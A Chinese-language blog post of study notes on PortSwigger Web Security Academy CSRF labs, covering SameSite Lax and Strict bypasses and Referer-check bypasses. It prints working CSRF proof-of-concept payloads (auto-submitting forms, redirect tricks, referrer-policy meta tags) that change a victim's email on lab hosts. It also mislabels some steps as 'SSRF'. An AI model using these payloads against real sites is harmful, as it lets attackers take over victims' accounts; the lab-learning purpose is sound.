当前位置: 首页 > news >正文

PostSwigger Web 安全学习:CSRF漏洞2

CSRF 漏洞学习网站:What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy

CSRF 漏洞:SameSite相关绕过

当浏览器访问服务器时,服务器会在 Cookie 中添加 SameSite 属性来告诉浏览器是否在来自其他网站的请求中允许携带 Cookie。

如果发出 Cookie 的网站没有明确设置 SameSite 属性来限制来自其它网站的请求,那么浏览器自动设置 SameSite=Lax 以防止跨网站访问携带对方服务的 Cookie。

关于同源和同站点的问题,直接贴出 PostSwigger 官方解释:

请求方请求同站点?同源?
https://example.comhttps://example.com是的是的
https://app.example.comhttps://intranet.example.com是的否:域名不匹配
https://example.comhttps://example.com:8080是的否:端口不匹配
https://example.comhttps://example.co.uk否:不匹配的 eTLD否:域名不匹配
https://example.comhttp://example.com否:不匹配的方案否:不匹配的方案

SameSite 工作流程

在 SameSite 机制之前,浏览器针对每个请求都会添加对应网站的 Cookie,不管它是否是来自其他站点,这就导致了常规的 CSRF 携带 Cookie 攻击。SameSite 的工作原理是使浏览器和网站所有者能够限制哪些跨站点请求(如果有)应包含特定 Cookie。如下是 SameSite 等级:

  • Strict:只要请求属于跨站请求,就不携带 Cookie。

  • Lax:如果请求属于跨站请求,满足以下条件可以携带 Cookie:

    • 使用 Get 方式发起请求。

    • 使用顶级导航发起请求(如地址栏输入和超链接跳转)。

  • None:跨站请求携带 Cookie。

开发人员可以手动设置他们网站的 SameSite 级别,例如:

Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Strict

实验:使用 GET 请求绕过 Lax 限制

使用顶级导航
<script>document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>
POST 伪装成 GET

这是某些框架的特性,表单声明为 method="POST",但被框架覆盖为 GET 请求,服务器看作 GET 请求,而浏览器认为是 POST 请求。

<form action="https://vulnerable-website.com/account/transfer-payment" method="POST"><input type="hidden" name="_method" value="GET"><input type="hidden" name="recipient" value="hacker"><input type="hidden" name="amount" value="1000000">
</form>

payload:

让 POST 请求覆盖 GET 请求,导致浏览器按 GET 请求判断,服务器按 POST 请求处理。

<script>document.location = "https://0a62002903e24ada80554453009a009b.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST";
</script>

总结:探测框架特性,看是否允许方式覆盖。

通过客户端重定向绕过 Strict

如果目标站点存在站内导航的重定向 url,那么 CSRF 将不存在跨域问题。

相当于用户二次访问同一个站点:

  • 第一次从钓鱼页面跳转到目标网站。

  • 第二次从目标网站重定向到攻击者服务器的受害页面。

  • 第三次从攻击者的服务器页面跳转到敏感页面(如:修改邮箱)。

  • 成功的原因:浏览器能追踪客户端重定向,当它根据源网站来判断需不需要携带 Cookie 时,浏览器会追踪到重定向之前的网站作为源网站。(注意:要区分跳转和重定向。)

注:以上重定向必须是客户端重定向,如果是服务端重定向,比如说服务端发送了一个 Location 的包给浏览器,浏览器能追踪到最初的请求站点,并检测到他们不是同一个站点。差别如下:

客户端重定向用户中招(通过 HTML 或 js 触发的重定向):

  1. 用户访问钓鱼页面。

  2. 用户跳转到受害者网站。(当受害者网站触发重定向时,浏览器仍将受害者网站作为源网站来判断是否跨域)

  3. 从受害者网站重定向攻击者页面(如修改邮箱)。

  4. 攻击者页面向受害者网站发送敏感请求。

服务端重定向利用失败(通过 HTTP 进行的重定向):

  1. 用户访问钓鱼页面。

  2. 钓鱼页面触发服务端重定向(假设存在)。

  3. 服务器返回 Location 包。

  4. 浏览器解析 Location 包,并从钓鱼页面跳转过去。(将钓鱼页面记作源网站,不携带 Cookie)

实验:通过客户端重定向绕过 Strict

当你在某一文章下发表完评论后,会跳转到文章页面:

redirectOnConfirmation = (blogPath) => {setTimeout(() => {const url = new URL(window.location);const postId = url.searchParams.get("postId");window.location = blogPath + '/' + postId;}, 3000);
}

访问:https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/comment/confirmation?postId=8
重定向后的 url =  blogPath + '/' + postId
其中:
blogpath = https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post
postId = 8
重定向后的 url = https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/8
​
如果篡改 postId = ../my-account,访问如下url:
https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/comment/confirmation?postId=../my-account
​
会跳转到登录页面:

payload:

<script>document.location = "https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email?email=wiener%40pwned.net%26submit=1";
</script>

注:要 URL 编码 & 分隔符,防止一开始就被解析。

实验:使用新发布的 Cookie 绕过 SameSite Lax 限制

绕过场景:服务器没有设置 Cookie 的 SameSite 属性,导致默认 Lax。

Chrome 为了避免破坏单点登录(SSO)机制,不会在前 120 秒内对顶级请求实施这些限制。

攻击者需要让用户重新生成 Cookie,以获取这 2 分钟的窗口期进行攻击。

使用如下 poc 放在攻击者服务器上:

<script>history.pushState('', '', '/')
</script>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="foo@bar.com" /><input type="submit" value="Submit request" />
</form>
<script>document.forms[0].submit();
</script>

当你在登录后的 2 分钟之内访问它,发现 poc 能成功生效,如下图修改邮箱成功。

如果用户登录超过两分钟,那么诱使用户访问其他页面重新获取 Cookie 后,再访问敏感操作页面(如修改邮箱)。

<form method="POST" action="https://0a9e00760433327180ac357700ea0078.web-security-academy.net/my-account/change-email"><input type="hidden" name="email" value="pwned@web-security-academy.net">
</form>
<script>window.open('https://0a9e00760433327180ac357700ea0078.web-security-academy.net/social-login');setTimeout(changeEmail, 5000);
​function changeEmail(){document.forms[0].submit();}
</script>

触发目标网站的 OAuth 登录流程:

  1. 用户已登录目标网站,但 SSO 提供商会重新颁发会话(例如,OAuth 流程每次生成新会话)。

  2. 第一次 SSRF:攻击者诱导用户重新完成 OAuth 登录,生成新 Cookie。(window.open 新标签不受 Lax 限制)

  3. 第二次 SSRF:新 Cookie 进入 2 分钟窗口期,此时可绕过 Lax 限制。

重点,攻击者能通过 CSRF 让用户重新获取 Session。

基于 Referer 的 CSRF 防御

Referer 用于服务器获取请求页面的来源页面的 URL,如果服务器发现 Referer 头不合法,那么判定用户正在遭受钓鱼攻击。

常规的检测手法,检测 Referer 头是否是本域。

绕过手段:

  • 宽松的 Referer 验证逻辑:攻击者控制 attacker.com/example.com,此时 Referer 为 attacker.com/example.com。

  • Referer 标头的删除导致服务器不验证来源。

实验:Referer 标头的删除导致服务器不验证来源

payload:

<html><!-- CSRF PoC - generated by Burp Suite Professional --><!-- 包含以下 HTML 以禁止 referrer --><meta name="referrer" content="no-referrer"><body><form action="https://0aa0007c0387e677806e032d00d8004d.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="wiener&#64;pwned&#45;user&#46;net" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body>
</html>

实验:宽松的 Referer 验证逻辑

那就在 HTML 钓鱼页面加上:

  <meta name="referrer" content="unsafe-url">       <!-- 防止添加的东西被过滤 --><!-- history.pushState 用于在浏览器历史记录中添加一条新的记录,同时改变当前的 URL,但不会触发页面的刷新。-->history.pushState("", "", "/?0aa900b503dcb6a380f4120a00d6002e.web-security-academy.net")<!-- 更新历史 url,添加上这个参数 -->

完整 payload:

<html><!-- CSRF PoC - generated by Burp Suite Professional --><meta name="referrer" content="unsafe-url"><body><form action="https://0aa900b503dcb6a380f4120a00d6002e.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="wiener&#64;pwned&#45;user&#46;net" /><input type="submit" value="Submit request" /></form><script>history.pushState("", "", "/?0aa900b503dcb6a380f4120a00d6002e.web-security-academy.net")document.forms[0].submit();</script></body>
</html>

相关文章:

  • SpringMVC框架
  • Linux中的31个普通信号
  • Redis03-基础-C#客户端
  • Javase 基础入门 —— 06 final + 单例
  • 数据库MySQL学习——day6(多表查询(JOIN)基础)
  • uni-app 中使用 mqtt.js 的完整版
  • 关于百度模型迭代个人见解:技术竞速下的应用价值守恒定律
  • Maven 使用教程
  • 图像生成新势力:GPT-Image-1 与 GPT-4o 在智创聚合 API 的较量
  • 码蹄杯——tips
  • 龙芯远程方案
  • 常用的多传感器数据融合方法
  • 衡石科技:HENGSHI SENSE 数据权限解决方案
  • 从线性回归到逻辑回归
  • Spring XML 外部实体(XXE)指南:示例和预防
  • 使用XMLSpy校验xml是否合法
  • 强化学习中关键超参数的详细说明
  • vue2 开发一个实习管理系统电脑端-前端静态网站练习
  • 基于知识库的客户服务工具
  • Kubernetes学习笔记-环境变量的使用
  • 外交部:欢迎外国朋友“五一”来中国
  • 人社部:我国劳动力市场潜力足,韧性强
  • 民调显示特朗普执政百日支持率为80年来美历任总统最低
  • 新加坡选情渐热:播客、短视频各显神通,总理反对身份政治
  • 持续更新丨伊朗内政部长:港口爆炸已致8人死亡750人受伤
  • 摩根士丹利基金雷志勇:AI带来的产业演进仍在继续,看好三大景气领域